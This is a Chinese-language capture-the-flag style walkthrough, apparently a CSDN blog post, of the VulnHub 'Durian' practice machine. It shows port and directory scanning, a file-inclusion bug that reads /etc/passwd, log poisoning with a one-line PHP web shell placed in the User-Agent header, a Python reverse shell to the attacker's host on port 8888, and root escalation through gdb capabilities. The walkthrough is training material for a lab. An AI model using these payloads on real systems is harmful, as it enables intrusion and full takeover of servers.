【VulnHub系列】Durian靶机

Durian靶机

环境:下载靶机、解压、VMware打开,并将其和kali虚拟机的网络调成NAT模式

一.明确目标

探测目标主机IP情况

nmap 192.168.153.0/24

在这里插入图片描述

目标主机IP:192.168.153.140

Kali的IP:192.168.153.129

二.信息搜集

Nmap 进行常规端口开放扫描

进行namp全端口服务枚举

nmap 192.168.153.140 -p- -A

在这里插入图片描述

在这里插入图片描述

可以看到开放了的端口

ssh 22端口,http 80端口,8088/tcp open radan-http,7080/tcp open ssl/empowerid

对该网站目录进行爆破枚举,利用到的是kali上的dirb:

dirb http://192.168.153.140

在这里插入图片描述

在这里插入图片描述

http://192.168.153.140/blog/

http://192.168.153.140/cgi-data/

http://192.168.153.140/index.html

http://192.168.153.140/blog/wp-admin/admin.php

http://192.168.153.140/blog/wp-content/index.php

http://192.168.153.140/blog/wp-content/plugins/index.php

通过尝试,发现http://192.168.153.140/cgi-data/ 下有getlmage.php文件

在这里插入图片描述

点击进入后,按F12发现疑似有文件包含漏洞

在这里插入图片描述

在其URL后输入?file=/etc/passwd尝试是否可以

在这里插入图片描述

包含密码文件成功。

三.近一步权限提升

已经找到文件包含的位置了,但是没有文件上传的位置,那只能考虑写入木马到日志文件,然后利用文件包含漏洞去包含日志文件即可
网上查找资料发现Durian的默认日志文件路径为/var/log/durian.log/access.log(也是Apache日志文件
尝试使用文件包含漏洞包含日志文件

在这里插入图片描述

可以看到成功包含,那就简单了,只需要抓包往里面写入木马就行了

使用burpsuite进行抓包,发送到repeater模块

在这里插入图片描述

在UA(User-Agent)里写入一句话木马,然后利用文件包含漏洞去执行它

<?php system($_GET['cmd']); ?>

在这里插入图片描述

再浏览器中输入

http://192.168.153.140/cgi-data/getImage.php?file=/var/log/durian.log/access.log&cmd=whoami

,尝试木马是否成功执行,发现成功显示当前用户为“www-data”

在这里插入图片描述

再使用python反弹shell,cmd=

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.153.129",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Kali中事先设置好监听端口8888

在这里插入图片描述

查看有什么权限,你别说这命令是真好用!发现两个文件具有root权限:

sudo -l

在这里插入图片描述

查看特权操作

getcap -r / 2>/dev/null
getcap:查看可执行文件获取的内核权限
r     :代表顶层目录
2>/dev/null的意思就是将标准错误stderr删掉

这里呢就不得不说一下getcap了:
Linux是一种安全操作系统,它给普通用户尽可能低的权限,而把全部的系统权限赋予一个单一的帐户–root。root帐户用来管理系统、安装软件、管理帐户、运行某些服务、安装/卸载文件系统、管理用户、安装软件等。另外,普通用户的很多操作也需要root权限,这通过setuid实现。这种依赖单一帐户执行特权操作的方式加大了系统的面临风险,而需要root权限的程序可能只是为了一个单一的操作,例如:绑定到特权端口、打开一个只有root权限可以访问的文件。某些程序可能有安全漏洞,而如果程序不是以root的权限运行,其存在的漏洞就不可能对系统造成什么威胁。
Capabilities机制,是在Linux内核2.2之后引入的。它将root用户的权限细分为不同的领域,可以分别启用或禁用。从而,在实际进行特权操作时,如果euid不是root,便会检查是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。
Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng。

  • libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities,同时还提供了capsh来查看当前shell进程的capabilities。
  • libcap-ng更易于使用,使用同一个命令filecap来查看和设置capabilities。

简单说就是:使用getcap命令,我们可以看到ping文件的capabilities:

#getcap  /bin/ping
/bin/ping = cap_net_raw+ep

在这里插入图片描述

四.提权

发现有gdb,那么咱们可以使用这个来提权:(有关gdb提权的:https://www.cnblogs.com/f-carey/p/16026088.html#tid-HnbJCZ)

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit

简单说明一下:
gdb:简单理解就是可以启动程序并且按照自己定义随心所欲的运行程序
-nx:不要从任何.gdbinit初始化文件执行命令
-ex:执行给定的GDB命令

简单理解就是首先利用gdb的权限去执行命令:命令的作用是利用python 设置一个uid为0(那就是root)的shell

在这里插入图片描述

查看当前用户whoami,发现是root用户。成功提权!!!!!!!

在这里插入图片描述

五.总结

1)信息收集

1、nmap信息挖掘。2、挖掘HTTP服务信息。3、搜寻页面有用的信息(在页面中F12看见有文件包含漏洞,查看/etc/passwd文件,发现包含成功。已经找到文件包含的位置了,但是没有文件上传的位置,那只能考虑写入木马到日志文件,然后利用文件包含漏洞去包含日志文件即可网上查找资料发现Durian的默认日志文件路径为/var/log/durian.log/access.log(也是Apache日志文件))

2)再利用bp抓包,修改UA写入一句话木马 <?php system($_GET['cmd']); ?>,成功后利用python一句话木马反弹shell

3)提权:

1、sudo -l(查看有什么权限)提权

2.利用gdb提权

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gaynell

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值